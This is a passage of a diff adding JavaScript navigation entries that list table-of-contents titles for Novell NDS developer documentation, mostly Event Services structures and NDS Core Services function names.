+top.authors[i] = "zHTML xD.5375.0300.0003.0004.";
+top.titles[i] = "NWDSEGetLocalClassID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0005.";
+top.titles[i] = "NWDSEGetLocalClassName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0006.";
+top.titles[i] = "NWDSEGetLocalEntryID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0007.";
+top.titles[i] = "NWDSEGetLocalEntryName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0008.";
+top.titles[i] = "NWDSERegisterForEvent";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0009.";
+top.titles[i] = "NWDSERegisterForEventWithResult";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0010.";
+top.titles[i] = "NWDSEUnRegisterForEvent";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0004.";
+top.titles[i] = "Structures";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0001.";
+top.titles[i] = "DSEACL";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0002.";
+top.titles[i] = "DSEBackLink";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0003.";
+top.titles[i] = "DSEBinderyObjectInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0004.";
+top.titles[i] = "DSEBitString";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0005.";
+top.titles[i] = "DSEChangeConnState";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0006.";
+top.titles[i] = "DSECIList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0007.";
+top.titles[i] = "DSEDebugInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0008.";
+top.titles[i] = "DSEEmailAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0009.";
+top.titles[i] = "DSEEntryInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0010.";
+top.titles[i] = "DSEEntryInfo2";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0011.";
+top.titles[i] = "DSEEventData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0012.";
+top.titles[i] = "DSEFaxNumber";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0013.";
+top.titles[i] = "DSEHold";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0014.";
+top.titles[i] = "DSEModuleState";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0015.";
+top.titles[i] = "DSENetAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0016.";
+top.titles[i] = "DSEOctetList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0017.";
+top.titles[i] = "DSEPath";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0018.";
+top.titles[i] = "DSEReplicaPointer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0019.";
+top.titles[i] = "DSESEVInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0020.";
+top.titles[i] = "DSETimeStamp";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0021.";
+top.titles[i] = "DSETraceInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0022.";
+top.titles[i] = "DSETypedName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0023.";
+top.titles[i] = "DSEVALData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0024.";
+top.titles[i] = "DSEValueInfo";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0005.";
+top.titles[i] = "Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0005.0001.";
+top.titles[i] = "Event Priorities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0005.0002.";
+top.titles[i] = "Event Types";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0300.0006.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0600.";
+top.titles[i] = "NDS Technical Overview";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0001.";
+top.titles[i] = "NDS as the Internet Directory";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0001.";
+top.titles[i] = "Requirements for Networks and the Internet";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0002.";
+top.titles[i] = "NDS Compliance to X.500 Standard";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0003.";
+top.titles[i] = "NDS Compliance with LDAP v3";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0004.";
+top.titles[i] = "Directory Access Protocols";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0005.";
+top.titles[i] = "Programming Interfaces for NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0006.";
+top.titles[i] = "NDS Architecture";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0002.";
+top.titles[i] = "NDS Objects";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0001.";
+top.titles[i] = "NDS Names";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0002.";
+top.titles[i] = "Types of Information Stored in NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0003.";
+top.titles[i] = "Retrieval of Information from NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0004.";
+top.titles[i] = "Tree Walking";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0005.";
+top.titles[i] = "NDS Object Management";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0003.";
+top.titles[i] = "NDS Security";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0001.";
+top.titles[i] = "Authentication";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0002.";
+top.titles[i] = "Access Control Lists";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0003.";
+top.titles[i] = "Inheritance";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0004.";
+top.titles[i] = "NetWare File System";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0004.";
+top.titles[i] = "Partitions and Replicas";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0001.";
+top.titles[i] = "Partitioning";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0002.";
+top.titles[i] = "Replication";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0003.";
+top.titles[i] = "Distributed Reference Management";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0004.";
+top.titles[i] = "Partition Operations";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0005.";
+top.titles[i] = "Synchronization";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0006.";
+top.titles[i] = "Background Processes";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0005.";
+top.titles[i] = "Bindery Services";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0001.";
+top.titles[i] = "NDS Bindery Context";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0002.";
+top.titles[i] = "Bindery Context Path";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0003.";
+top.titles[i] = "Bindery Context Eclipsing";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0004.";
+top.titles[i] = "NDS Bindery Objects";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0006.";
+top.titles[i] = "NDS Return Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0001.";
+top.titles[i] = "NDS Return Values from the Operating System";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0002.";
+top.titles[i] = "NDS Client Return Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0003.";
+top.titles[i] = "NDS Agent Return Values";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0007.";
+top.titles[i] = "Directory Services Trace Utilities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0001.";
+top.titles[i] = "Using the DSTrace NLM";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0002.";
+top.titles[i] = "Using Basic SET DSTrace Commands";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0003.";
+top.titles[i] = "Starting Background Processes with SET DSTrace";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0004.";
+top.titles[i] = "Tuning Background Processes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0005.";
+top.titles[i] = "Enabling DSTrace Messages with SET DSTrace";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0600.0008.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0200.";
+top.titles[i] = "NDS Core Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0001.";
+top.titles[i] = "Programming Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0001.";
+top.titles[i] = "Context Handles";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0002.";
+top.titles[i] = "Buffer Management";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0003.";
+top.titles[i] = "Read Requests for Object Information";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0004.";
+top.titles[i] = "Search Requests";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0005.";
+top.titles[i] = "Developing in a Loosely Consistent Environment";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0006.";
+top.titles[i] = "Add Object Requests";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0007.";
+top.titles[i] = "NDS Security and Applications";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0008.";
+top.titles[i] = "Authentication of Client Applications";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0009.";
+top.titles[i] = "Multiple Tree Support";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0010.";
+top.titles[i] = "Effective Rights Function";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0011.";
+top.titles[i] = "Partition Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0012.";
+top.titles[i] = "Replica Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0013.";
+top.titles[i] = "Read Requests for Schema Information";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0014.";
+top.titles[i] = "Schema Extension Requests";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0001.";
+top.titles[i] = "Context Handle Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0002.";
+top.titles[i] = "Buffer Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0003.";
+top.titles[i] = "Authentication and Connection Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0004.";
+top.titles[i] = "Object Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0005.";
+top.titles[i] = "Partition and Replica Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0006.";
+top.titles[i] = "Schema Tasks";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0001.";
+top.titles[i] = "NWDSAbbreviateName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0002.";
+top.titles[i] = "NWDSAbortPartitionOperation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0003.";
+top.titles[i] = "NWDSAddFilterToken";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0004.";
+top.titles[i] = "NWDSAddObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0005.";
+top.titles[i] = "NWDSAddPartition (obsolete&#45;&#45;&#45;moved from .h file 11/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0006.";
+top.titles[i] = "NWDSAddReplica";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0007.";
+top.titles[i] = "NWDSAddSecurityEquiv";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0008.";
+top.titles[i] = "NWDSAllocBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0009.";
+top.titles[i] = "NWDSAllocFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0010.";
+top.titles[i] = "NWDSAuditGetObjectID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0011.";
+top.titles[i] = "NWDSAuthenticate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0012.";
+top.titles[i] = "NWDSAuthenticateConn";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0013.";
+top.titles[i] = "NWDSAuthenticateConnEx";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0014.";
+top.titles[i] = "NWDSBackupObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0015.";
+top.titles[i] = "NWDSBeginClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0016.";
+top.titles[i] = "NWDSCanDSAuthenticate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0017.";
+top.titles[i] = "NWDSCanonicalizeName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0018.";
+top.titles[i] = "NWDSChangeObjectPassword";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0019.";
+top.titles[i] = "NWDSChangeReplicaType";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0020.";
+top.titles[i] = "NWDSCIStringsMatch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0021.";
+top.titles[i] = "NWDSCloseIteration";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0022.";
+top.titles[i] = "NWDSCompare";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0023.";
+top.titles[i] = "NWDSComputeAttrValSize";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0024.";
+top.titles[i] = "NWDSCreateContext (obsolete&#45;&#45;&#45;moved from .h file 6/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0025.";
+top.titles[i] = "NWDSCreateContextHandle";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0026.";
+top.titles[i] = "NWDSDefineAttr";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0027.";
+top.titles[i] = "NWDSDefineClass";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0028.";
+top.titles[i] = "NWDSDelFilterToken";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0029.";
+top.titles[i] = "NWDSDuplicateContext (obsolete 03/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0030.";
+top.titles[i] = "NWDSDuplicateContextHandle";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0031.";
+top.titles[i] = "NWDSExtSyncList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0032.";
+top.titles[i] = "NWDSExtSyncRead";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0033.";
+top.titles[i] = "NWDSExtSyncSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0034.";
+top.titles[i] = "NWDSFreeBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0035.";
+top.titles[i] = "NWDSFreeContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0036.";
+top.titles[i] = "NWDSFreeFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0037.";
+top.titles[i] = "NWDSGenerateObjectKeyPair";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0038.";
+top.titles[i] = "NWDSGetAttrCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0039.";
+top.titles[i] = "NWDSGetAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0040.";
+top.titles[i] = "NWDSGetAttrName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0041.";
+top.titles[i] = "NWDSGetAttrVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0042.";
+top.titles[i] = "NWDSGetAttrValFlags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0043.";
+top.titles[i] = "NWDSGetAttrValModTime";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0044.";
+top.titles[i] = "NWDSGetBinderyContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0045.";
+top.titles[i] = "NWDSGetClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0046.";
+top.titles[i] = "NWDSGetClassDefCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0047.";
+top.titles[i] = "NWDSGetClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0048.";
+top.titles[i] = "NWDSGetClassItemCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0049.";
+top.titles[i] = "NWDSGetContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0050.";
+top.titles[i] = "NWDSGetCountByClassAndName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0051.";
+top.titles[i] = "NWDSGetCurrentUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0052.";
+top.titles[i] = "NWDSGetDefNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0053.";
+top.titles[i] = "NWDSGetDSIInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0054.";
+top.titles[i] = "NWDSGetDSVerInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0055.";
+top.titles[i] = "NWDSGetEffectiveRights";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0056.";
+top.titles[i] = "NWDSGetMonitoredConnRef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0057.";
+top.titles[i] = "NWDSGetNDSInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0058.";
+top.titles[i] = "NWDSGetObjectCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0059.";
+top.titles[i] = "NWDSGetObjectHostServerAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0060.";
+top.titles[i] = "NWDSGetObjectName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0061.";
+top.titles[i] = "NWDSGetObjectNameAndInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0062.";
+top.titles[i] = "NWDSGetPartitionExtInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0063.";
+top.titles[i] = "NWDSGetPartitionExtInfoPtr";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0064.";
+top.titles[i] = "NWDSGetPartitionInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0065.";
+top.titles[i] = "NWDSGetPartitionRoot";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0066.";
+top.titles[i] = "NWDSGetServerAddresses (obsolete 3/98)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0067.";
+top.titles[i] = "NWDSGetServerAddresses2";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0068.";
+top.titles[i] = "NWDSGetServerDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0069.";
+top.titles[i] = "NWDSGetServerName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0070.";
+top.titles[i] = "NWDSGetSyntaxCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0071.";
+top.titles[i] = "NWDSGetSyntaxDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0072.";
+top.titles[i] = "NWDSGetSyntaxID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0073.";
+top.titles[i] = "NWDSInitBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0074.";
+top.titles[i] = "NWDSInspectEntry";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0075.";
+top.titles[i] = "NWDSJoinPartitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0076.";
+top.titles[i] = "NWDSList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0077.";
+top.titles[i] = "NWDSListAttrsEffectiveRights";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0078.";
+top.titles[i] = "NWDSListByClassAndName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0079.";
+top.titles[i] = "NWDSListContainableClasses";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0080.";
+top.titles[i] = "NWDSListContainers";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0081.";
+top.titles[i] = "NWDSListPartitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0082.";
+top.titles[i] = "NWDSListPartitionsExtInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0083.";
+top.titles[i] = "NWDSLogin";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0084.";
+top.titles[i] = "NWDSLoginAsServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0085.";
+top.titles[i] = "NWDSLogout";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0086.";
+top.titles[i] = "NWDSMapIDToName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0087.";
+top.titles[i] = "NWDSMapNameToID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0088.";
+top.titles[i] = "NWDSModifyClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0089.";
+top.titles[i] = "NWDSModifyDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0090.";
+top.titles[i] = "NWDSModifyObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0091.";
+top.titles[i] = "NWDSModifyRDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0092.";
+top.titles[i] = "NWDSMoveObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0093.";
+top.titles[i] = "NWDSMutateObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0094.";
+top.titles[i] = "NWDSOpenConnToNDSServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0095.";
+top.titles[i] = "NWDSOpenMonitoredConn";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0096.";
+top.titles[i] = "NWDSOpenStream";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0097.";
+top.titles[i] = "NWDSPartitionReceiveAllUpdates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0098.";
+top.titles[i] = "NWDSPartitionSendAllUpdates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0099.";
+top.titles[i] = "NWDSPutAttrName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0100.";
+top.titles[i] = "NWDSPutAttrNameAndVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0101.";
+top.titles[i] = "NWDSPutAttrVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0102.";
+top.titles[i] = "NWDSPutChange";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0103.";
+top.titles[i] = "NWDSPutChangeAndVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0104.";
+top.titles[i] = "NWDSPutClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0105.";
+top.titles[i] = "NWDSPutClassName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0106.";
+top.titles[i] = "NWDSPutFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0107.";
+top.titles[i] = "NWDSPutSyntaxName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0108.";
+top.titles[i] = "NWDSRead";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0109.";
+top.titles[i] = "NWDSReadAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0110.";
+top.titles[i] = "NWDSReadClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0111.";
+top.titles[i] = "NWDSReadNDSInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0112.";
+top.titles[i] = "NWDSReadObjectDSIInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0113.";
+top.titles[i] = "NWDSReadObjectInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0114.";
+top.titles[i] = "NWDSReadReferences";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0115.";
+top.titles[i] = "NWDSReadSyntaxDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0116.";
+top.titles[i] = "NWDSReadSyntaxes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0117.";
+top.titles[i] = "NWDSReloadDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0118.";
+top.titles[i] = "NWDSRemoveAllTypes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0119.";
+top.titles[i] = "NWDSRemoveAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0120.";
+top.titles[i] = "NWDSRemoveClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0121.";
+top.titles[i] = "NWDSRemoveObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0122.";
+top.titles[i] = "NWDSRemovePartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0123.";
+top.titles[i] = "NWDSRemoveReplica";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0124.";
+top.titles[i] = "NWDSRemSecurityEquiv";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0125.";
+top.titles[i] = "NWDSRepairTimeStamps";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0126.";
+top.titles[i] = "NWDSReplaceAttrNameAbbrev";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0127.";
+top.titles[i] = "NWDSResolveName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0128.";
+top.titles[i] = "NWDSRestoreObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0129.";
+top.titles[i] = "NWDSReturnBlockOfAvailableTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0130.";
+top.titles[i] = "NWDSScanConnsForTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0131.";
+top.titles[i] = "NWDSScanForAvailableTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0132.";
+top.titles[i] = "NWDSSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0133.";
+top.titles[i] = "NWDSSetContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0134.";
+top.titles[i] = "NWDSSetCurrentUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0135.";
+top.titles[i] = "NWDSSetDefNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0136.";
+top.titles[i] = "NWDSSetMonitoredConnection";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0137.";
+top.titles[i] = "NWDSSplitPartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0138.";
+top.titles[i] = "NWDSSyncPartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0139.";
+top.titles[i] = "NWDSSyncReplicaToServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0140.";
+top.titles[i] = "NWDSSyncSchema";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0141.";
+top.titles[i] = "NWDSUnlockConnection";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0142.";
+top.titles[i] = "NWDSVerifyObjectPassword";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0143.";
+top.titles[i] = "NWDSWhoAmI";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0144.";
+top.titles[i] = "NWGetDefaultNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0145.";
+top.titles[i] = "NWGetFileServerUTCTime";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0146.";
+top.titles[i] = "NWGetNumConnections";
+i++;
+
